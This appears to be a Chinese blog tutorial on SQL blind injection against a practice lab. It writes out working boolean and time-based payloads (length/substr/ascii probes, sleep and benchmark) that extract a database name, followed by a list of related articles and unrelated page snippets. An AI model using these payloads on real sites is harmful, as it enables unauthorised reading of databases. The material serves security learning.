SQL盲注
一.首先输入1和-1 查看输入正确和不正确两种情况


二.三种注入POC
LOW等级
... where user_id =$id
输入 真 and 假 = 假
(1)...where user_id = 1 and 1=2
(2)...where user_id = 1' and '1'='2
(3)...where user_id = 1" and "1"="2
如果结果显示为 MISSING 则说明 假的数据(1=2)被注入进去
结果单引号的为假,则存在SQL盲注漏洞
1' and 真 -- 结果为真
1' and 假 -- 结果为假
三.获取数据
布尔型注入
(1)猜解字符串长度 length(str)
输入:1' and length(database())>1--
或 用hackbar

1' and length(database())>10--
用二分法得到database长度为4
(2)猜解字符串
获取单个字符 substr(string,start,length) 类似于暴力破解,有点慢
获取字符ascii码 ascii(string) 单字符的ascii的范围 0~127
输入:1’ and ascii(substr(database(),1,1))>64 --
利用二分法
得到第一个字符ascii为100 是字母d
同样获得1’ and ascii(substr(database(),2,1))>64 -- 第二,三,四个
1’ and ascii(substr(database(),3,1))>64 --
1’ and ascii(substr(database(),4,1))>64 --
延时型注入
SQL函数:if(expr1,expr2,expr3)如果1为真,返回2,否则返回3
sleep(N) 休眠N秒
benchmark(count,expr) 重复计算(计算次数,表达式)
输入:1‘ and sleep(if(length(database())=4,5,0))-- 为真
输入:1‘ and sleep(if(length(database())=4,5,0))-- 为假
输入:1' and benchmark(if(length(database())=4,5000000,0),md5('test'));--
sqlmap中payload中的各种函数:
(1)数据类型的转换 cast(expression as data_type) expression:表达式 data_type:新的数据类型

(2)ifnull(expr1,expr2)
如果expr1是null,返回expr2,否则返回它本身

(3)mid(expression,start,length)
获取子字符串(源字符串,子串开始位置,子串长度)

(4)ord(string)
获取第一个字符的ASCII数值(字符串)

SQL盲注的更多相关文章
- 小白日记42:kali渗透测试之Web渗透-SQL盲注
SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...
- WEB安全实战(一)SQL盲注
前言 好长时间没有写过东西了,不是不想写,仅仅只是是一直静不下心来写点东西.当然,拖了这么长的时间,也总该写点什么的.近期刚刚上手安全方面的东西,作为一个菜鸟,也本着学习的目的,就谈谈近期接触到的安全 ...
- Kali学习笔记43:SQL盲注
前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入 我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式 如果程序员做得比较好,不显示错误信息,这种情况下得SQL注入称为SQL盲 ...
- [转载]sql 盲注之正则表达式攻击
[转载]sql 盲注之正则表达式攻击 -----------------------------------------MYSQL 5+-------------------------------- ...
- WEB安全番外第四篇--关于SQL盲注
一.SQL盲注: 看不到回显的,无法从返回直接读取到数据库内容的对数据的猜解,属于盲注. 二.第一种--基于布尔类型的盲注: 这种很简单,最典型的例子,就是挖SQL注入的时候常用的: ''' http ...
- SQL盲注攻击的简单介绍
1 简介 1.1 普通SQL注入技术概述 目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]: (1) 脚本注入式的攻击 (2) 恶意用户输 ...
- Web系统常见安全漏洞及解决方案-SQL盲注
关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...
- SQL盲注工具BBQSQL
SQL盲注工具BBQSQL SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具 ...
- 第九届极客大挑战——Geek Chatroom(sql盲注)
首先观察这个web应用的功能,可以任意留言,也可以搜索留言,当然我还用cansina扫描过网站,查看过源码,抓包查看过header等.没发现其他提示的情况下断定这就是个sql注入,可能存在的注入点呢, ...
随机推荐
- Asp ose.Tota l for .NET 2015
How to license Aspose.Total for .NET products Add "License.cs" [C#] OR "License.vb&qu ...
- [问题记录]libpomelo编译报错:ssize_t重定义
1. 时间:2015/01/16 描述:添加libpomelo到cocos2dx项目,报错如下图所示: 解决: 修改代码,源代码: #if !defined(_SSIZE_T_) && ...
- IntelliJ IDEA下"Cannot resolve symbol 'log'"的解决方法
转自:https://my.oschina.net/greatqing/blog/703989 最近接手了一个Maven项目,IDE使用的是IntelliJ IDEA,导入后可以编译运行.但是输出日志 ...
- 【深入理解JAVA虚拟机】第二部分.内存自动管理机制.1.内存区域
1.内存区域 根据<Java虚拟机规范(Java SE 7版)> 的规定,Java虚拟机所管理的内存将会包括以下几个运行时数据区域,如图所示. 程序计数器 当前线程所执行的字节码的行号指 ...
- API 网关
使用 API 网关 链接:https://github.com/oopsguy/microservices-from-design-to-deployment-chinese译者:Oopsguy ...
- BZOJ2431:[HAOI2009]逆序对数列(DP,差分)
Description 对于一个数列{ai},如果有i<j且ai>aj,那么我们称ai与aj为一对逆序对数.若对于任意一个由1~n自然数组成的 数列,可以很容易求出有多少个逆序对数.那么逆 ...
- python中__init__.py与def __init__(self)的使用
一直对__init__的使用很迷茫,这里系统的学习了解下 1.__init__.py文件-package的标识 python中每个package实际上是一个目录(Directory),程序运行时如何识 ...
- Kali-linux基本设置
1.6.1 启动默认的服务 Kali Linux自带了几个网络服务,它们是非常有用的.但是默认是禁用的.在这里,将介绍使用各种方法设置并启动每个服务. 1. 启动Apache服务 启动Apache服务 ...
- WEB测试—用户界面测试
如果有设计稿,当然按照设计稿进行测试:没有设计稿,就参考原型:如果都没有,就按照web大众排版设计要求测试了,当然,还是要产品看过为准. 一下简单总结一下测试的点. 1. 导航测试 很少有用户愿意花时 ...
- 二叉树前序、中序、后序非递归遍历 144. Binary Tree Preorder Traversal 、 94. Binary Tree Inorder Traversal 、145. Binary Tree Postorder Traversal 、173. Binary Search Tree Iterator
144. Binary Tree Preorder Traversal 前序的非递归遍历:用堆来实现 如果把这个代码改成先向堆存储左节点再存储右节点,就变成了每一行从右向左打印 如果用队列替代堆,并且 ...